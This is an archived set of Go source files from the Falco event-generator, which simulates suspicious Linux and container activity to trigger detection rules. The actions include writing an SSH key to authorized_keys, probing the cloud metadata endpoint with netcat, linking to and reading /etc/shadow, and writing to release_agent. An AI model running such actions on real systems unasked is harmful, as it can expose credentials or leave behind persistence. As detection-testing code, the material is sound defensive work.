Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	AddingSshKeysToAuthorizedKeys,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func AddingSshKeysToAuthorizedKeys(h events.Helper) error {
	// create .ssh directory inside tempDirectory
	sshDir, cleanup, err := createSshDirectoryUnderHome(h)
	if err != nil {
		return err
	}
	defer cleanup()

	filename := filepath.Join(sshDir, "authorized_keys")

	// create authorized_keys file, and write into it
	return os.WriteFile(filename, []byte("ssh-rsa <ssh_public_key>\n"), os.FileMode(0600))
}
07070100000040000081A400000000000000000000000166F189F10000085C000000000000000000000000000000000000005700000000falco-event-generator-0.12.0/events/syscall/change_namespace_privileges_via_unshare.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ChangeNamespacePrivilegesViaUnshare,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ChangeNamespacePrivilegesViaUnshare(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// read the CapEff value from /proc/self/status
	capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output()
	if err != nil {
		return err
	}

	// convert the CapEff value to a string and trim whitespace
	capEffValue := strings.TrimSpace(string(capEffValueBytes))

	// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
	hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin")
	if err != nil {
		return err
	}

	if hasCAPSysAdmin {
		return &events.ErrSkipped{
			Reason: "non-privileged container required",
		}
	}

	unshare, err := exec.LookPath("unshare")
	if err != nil {
		// if we don't have an unshare, just bail
		return &events.ErrSkipped{
			Reason: "unshare executable file not found in $PATH",
		}
	}

	// note: to trigger the rule, do not pass any arguments to unshare
	cmd := exec.Command(unshare)
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000041000081A400000000000000000000000166F189F10000079A000000000000000000000000000000000000004700000000falco-event-generator-0.12.0/events/syscall/change_thread_namespace.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"
	"strings"

	"golang.org/x/sys/unix"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ChangeThreadNamespace,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ChangeThreadNamespace(h events.Helper) error {
	if h.InContainer() {
		// skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error
		// read the CapEff value from /proc/self/status
		if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil {
			// convert the CapEff value to a string and trim whitespace
			capEffValue := strings.TrimSpace(string(capEffValueBytes))
			// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
			if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin {
				return &events.ErrSkipped{
					Reason: "privileged container required",
				}
			}
		}
	}
	// it doesn't matter that the arguments to Setns are bogus
	// it's the attempt to call it that will trigger the rule
	if err := unix.Setns(0, 0); err != nil {
		h.Log().WithError(err).Debug("failed to call setns (this is expected)")
	}

	return nil
}
07070100000042000081A400000000000000000000000166F189F1000005DA000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/events/syscall/clear_log_activities.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(ClearLogActivities)

func ClearLogActivities(h events.Helper) error {
	// create a unique temp directory
	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ClearLogActivities-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	filename := filepath.Join(tmpDir, "syslog")

	// open or create the file with write-only access and truncate its contents if it exists
	file, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, os.FileMode(0644))
	if err != nil {
		return err
	}
	defer func() {
		if err := file.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close temp file")
		}
	}()

	return nil
}
07070100000043000081A400000000000000000000000166F189F1000007B9000000000000000000000000000000000000006400000000falco-event-generator-0.12.0/events/syscall/contact_ec2_instance_metadata_service_from_container.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall

import (
	"context"
	"os/exec"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ContactEC2InstanceMetadataServiceFromContainer,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func ContactEC2InstanceMetadataServiceFromContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	nc, err := exec.LookPath("nc")
	if err != nil {
		// if we don't have a netcat, just bail
		return &events.ErrSkipped{
			Reason: "netcat executable file not found in $PATH",
		}
	}

	// The IP address 169.254.169.254 is reserved for the Cloud Instance Metadata Service,
	// a common endpoint used by cloud instances (GCP, AWS and Azure) to access
	// metadata about the instance itself. Detecting attempts to communicate with this
	// IP address from a container can indicate potential unauthorized access to
	// sensitive cloud infrastructure metadata.
	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := runCmd(context.Background(), 1*time.Second, nc, "169.254.169.254", "80"); err != nil {
		h.Log().WithError(err).Debug("failed to run netcat command (might be ok)")
	}

	return nil
}
07070100000044000081A400000000000000000000000166F189F1000005B3000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/syscall/container_drift_detected_chmod.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ContainerDriftDetectedChmod,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ContainerDriftDetectedChmod(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// create a unique file under temp directory
	file, err := os.CreateTemp("", "falco-event-generator-syscall-ContainerDriftDetectedChmod-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	// set execute permission
	if err := os.Chmod(file.Name(), os.FileMode(0755)); err != nil {
		return err
	}

	return nil
}
07070100000045000081A400000000000000000000000166F189F1000005E4000000000000000000000000000000000000005400000000falco-event-generator-0.12.0/events/syscall/container_drift_detected_open_create.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ContainerDriftDetectedOpenCreate,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ContainerDriftDetectedOpenCreate(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// generate new "random" temp file name
	file := filepath.Join(os.TempDir(), fmt.Sprintf("falco-event-generator-syscall-ContainerDriftDetectedOpenCreate-%s", randomString(6)))

	// create file and set execute permission
	if err := os.WriteFile(file, nil, os.FileMode(0755)); err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
07070100000046000081A400000000000000000000000166F189F1000006AC000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/create_files_below_dev.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	CreateFilesBelowDev,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func CreateFilesBelowDev(h events.Helper) error {
	// ensure /dev exists
	if _, err := os.Stat("/dev"); os.IsNotExist(err) {
		if err := os.Mkdir("/dev", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /dev directory
		defer func() {
			if err := os.RemoveAll("/dev"); err != nil {
				h.Log().WithError(err).Error("failed to remove /dev directory")
			}
		}()
	}

	// create a unique file under /dev directory
	file, err := os.CreateTemp("/dev", "falco-event-generator-syscall-CreateFilesBelowDev-")
	if err != nil {
		// to trigger the rule, it is enough to try, so we ignore permission denied errors
		if errors.Is(err, os.ErrPermission) {
			return nil
		}
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
07070100000047000081A400000000000000000000000166F189F1000006FD000000000000000000000000000000000000005400000000falco-event-generator-0.12.0/events/syscall/create_hardlink_over_sensitive_files.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(CreateHardlinkOverSensitiveFiles)

func CreateHardlinkOverSensitiveFiles(h events.Helper) error {
	ln, err := exec.LookPath("ln")
	if err != nil {
		// if we don't have a ln, just bail
		return &events.ErrSkipped{
			Reason: "ln executable file not found in $PATH",
		}
	}

	// create a unique temp directory
	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-CreateHardlinkOverSensitiveFiles-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	shadowLink := filepath.Join(tmpDir, "shadow_link")

	// create a hard link to /etc/shadow file
	// note: directory hard links are not allowed
	cmd := exec.Command(ln, "-v", "/etc/shadow", shadowLink)
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	// read hard-linked /etc/shadow file
	if _, err := os.ReadFile(shadowLink); err != nil {
		return err
	}

	return nil
}
07070100000048000081A400000000000000000000000166F189F1000004E6000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/create_hidden_files_or_directories.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	CreateHiddenFilesOrDirectories,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func CreateHiddenFilesOrDirectories(h events.Helper) error {
	// create a unique hidden temp directory
	tmpDir, err := os.MkdirTemp("", ".falco-event-generator-syscall-CreateHiddenFilesOrDirectories-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	return nil
}
07070100000049000081A400000000000000000000000166F189F1000006BB000000000000000000000000000000000000005300000000falco-event-generator-0.12.0/events/syscall/create_symlink_over_sensitive_files.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(CreateSymlinkOverSensitiveFiles)

func CreateSymlinkOverSensitiveFiles(h events.Helper) error {
	ln, err := exec.LookPath("ln")
	if err != nil {
		// if we don't have a ln, just bail
		return &events.ErrSkipped{
			Reason: "ln executable file not found in $PATH",
		}
	}

	// create a unique temp directory
	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-CreateSymlinkOverSensitiveFiles-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	etcLink := filepath.Join(tmpDir, "etc_link")

	// create a symbolic link to /etc directory
	cmd := exec.Command(ln, "-s", "/etc", etcLink)
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	// read symbolic-linked /etc directory
	if _, err := os.ReadDir(etcLink); err != nil {
		return err
	}

	return nil
}
0707010000004A000081A400000000000000000000000166F189F100000400000000000000000000000000000000000000004A00000000falco-event-generator-0.12.0/events/syscall/db_program_spawned_process.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
	_ "github.com/falcosecurity/event-generator/events/helper"
)

var _ = events.Register(
	DbProgramSpawnedProcess,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func DbProgramSpawnedProcess(h events.Helper) error {
	return h.SpawnAsWithSymlink("mysqld", "helper.ExecLs")
}
0707010000004B000081A400000000000000000000000166F189F10000085B000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/debugfs_launched_in_privilleged_container.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os/exec"
	"strings"
	"syscall"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(DebugfsLaunchedInPrivilegedContainer)

func DebugfsLaunchedInPrivilegedContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error
	// read the CapEff value from /proc/self/status
	if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil {
		// convert the CapEff value to a string and trim whitespace
		capEffValue := strings.TrimSpace(string(capEffValueBytes))
		// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
		if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin {
			return &events.ErrSkipped{
				Reason: "privileged container required",
			}
		}
	}

	debugfs, err := exec.LookPath("debugfs")
	if err != nil {
		// if we don't have a debugfs, just bail
		return &events.ErrSkipped{
			Reason: "debugfs executable file not found in $PATH",
		}
	}

	cmd := exec.Command(debugfs, "-V")
	cmd.SysProcAttr = &syscall.SysProcAttr{
		Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER,
	}

	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
0707010000004C000081A400000000000000000000000166F189F100000519000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/decoding_payload_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	DecodingPayloadInContainer,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func DecodingPayloadInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	encodedPayload := "ZGVjb2RlZF9ieV9ldmVudC1nZW5lcmF0b3I="
	cmd := exec.Command("echo", encodedPayload, "|", "base64", "-d")
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
0707010000004D000081A400000000000000000000000166F189F100000605000000000000000000000000000000000000004E00000000falco-event-generator-0.12.0/events/syscall/delete_or_rename_shell_history.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	DeleteOrRenameShellHistory,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func DeleteOrRenameShellHistory(h events.Helper) error {
	// create a unique temp directory
	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-DeleteOrRenameShellHistory-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	history := filepath.Join(tmpDir, "ash_history")

	// create the file
	if err := os.WriteFile(history, nil, os.FileMode(0600)); err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(history); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	return nil
}
0707010000004E000081A400000000000000000000000166F189F1000005A7000000000000000000000000000000000000005F00000000falco-event-generator-0.12.0/events/syscall/detect_crypto_miners_using_the_stratum_protocol.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	DetectCryptoMinersUsingTheStratumProtocol,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func DetectCryptoMinersUsingTheStratumProtocol(h events.Helper) error {
	// NOTE: Crypto mining commands typically may resemble the following format,
	// where 'minersoftware' is an executable:
	// minersoftware -o stratum+tcp://example.com:3333 -u username -p password
	// However, for testing purposes, we're using 'echo' as a placeholder.
	cmd := exec.Command("echo", "-o stratum+tcp", "-u user", "-p pass")
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
0707010000004F000081A400000000000000000000000166F189F100000B5C000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/detect_release_agent_file_container_escapes.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"bytes"
	"os"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(DetectReleaseAgentFileContainerEscapes)

func DetectReleaseAgentFileContainerEscapes(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// read the CapEff value from /proc/self/status
	capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output()
	if err != nil {
		return err
	}

	// convert the CapEff value to a string and trim whitespace
	capEffValue := strings.TrimSpace(string(capEffValueBytes))

	// user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE reuired condition
	if os.Getuid() != 0 {
		hasCAPDacOverride, err := checkCapability(capEffValue, "cap_dac_override")
		if err != nil {
			return err
		}

		if !hasCAPDacOverride {
			return &events.ErrSkipped{
				Reason: "conatiner with root user or CAP_DAC_OVERRIDE capability is required to execute this event",
			}
		}
	}

	// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
	hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin")
	if err != nil {
		return err
	}

	if !hasCAPSysAdmin {
		return &events.ErrSkipped{
			Reason: "privileged container required",
		}
	}

	// open_write and fd.name endswith release_agent
	return exec.Command("sh", "-c", "echo 'hello world' > release_agent").Run()
}

// This function checks wether given capability exists or not by decoding the given hex
// For ex: Below is the output when we run capsh --decode=0x0000000000000003
// 0x0000000000000003=cap_chown,cap_dac_override
func checkCapability(hexValue string, capability string) (bool, error) {
	capsh, err := exec.LookPath("capsh")
	if err != nil {
		return false, &events.ErrSkipped{
			Reason: "capsh utility is required to execute this event",
		}
	}

	cmd := exec.Command(capsh, "--decode="+hexValue)

	// Capture the output of the command
	var output bytes.Buffer
	cmd.Stdout = &output
	if err := cmd.Run(); err != nil {
		return false, err
	}

	// Convert output to a string
	outputStr := output.String()

	// Check if the output contains the given capability
	return strings.Contains(outputStr, capability), nil
}
07070100000050000081A400000000000000000000000166F189F100000416000000000000000000000000000000000000005700000000falco-event-generator-0.12.0/events/syscall/directory_traversal_monitored_file_read.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(DirectoryTraversalMonitoredFileRead)

func DirectoryTraversalMonitoredFileRead(h events.Helper) error {
	const filename = "/etc/../etc/../etc/shadow"
	file, err := os.Open(filename)
	defer func() {
		if err := file.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close /etc/shadow file")
		}
	}()

	return err
}
07070100000051000081A400000000000000000000000166F189F10000058C000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/disallowed_ssh_connection_non_standard_port.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"context"
	"os/exec"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(DisallowedSSHConnectionNonStandardPort)

func DisallowedSSHConnectionNonStandardPort(h events.Helper) error {
	ssh, err := exec.LookPath("ssh")
	if err != nil {
		// if we don't have a SSH, just bail
		return &events.ErrSkipped{
			Reason: "ssh executable file not found in $PATH",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	// in some cases it takes more than one second to establish the connection
	if err := runCmd(context.Background(), 5*time.Second, ssh, "user@example.com", "-p", "443"); err != nil {
		h.Log().WithError(err).Debug("failed to run ssh command (this is expected)")
	}

	return nil
}
07070100000052000081A400000000000000000000000166F189F1000008C4000000000000000000000000000000000000005800000000falco-event-generator-0.12.0/events/syscall/drop_and_execute_new_binary_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(DropAndExecuteNewBinaryInContainer)

func DropAndExecuteNewBinaryInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// find the path of the ls binary
	ls, err := exec.LookPath("ls")
	if err != nil {
		return &events.ErrSkipped{
			Reason: "ls executable file not found in $PATH",
		}
	}

	// read the ls binary content
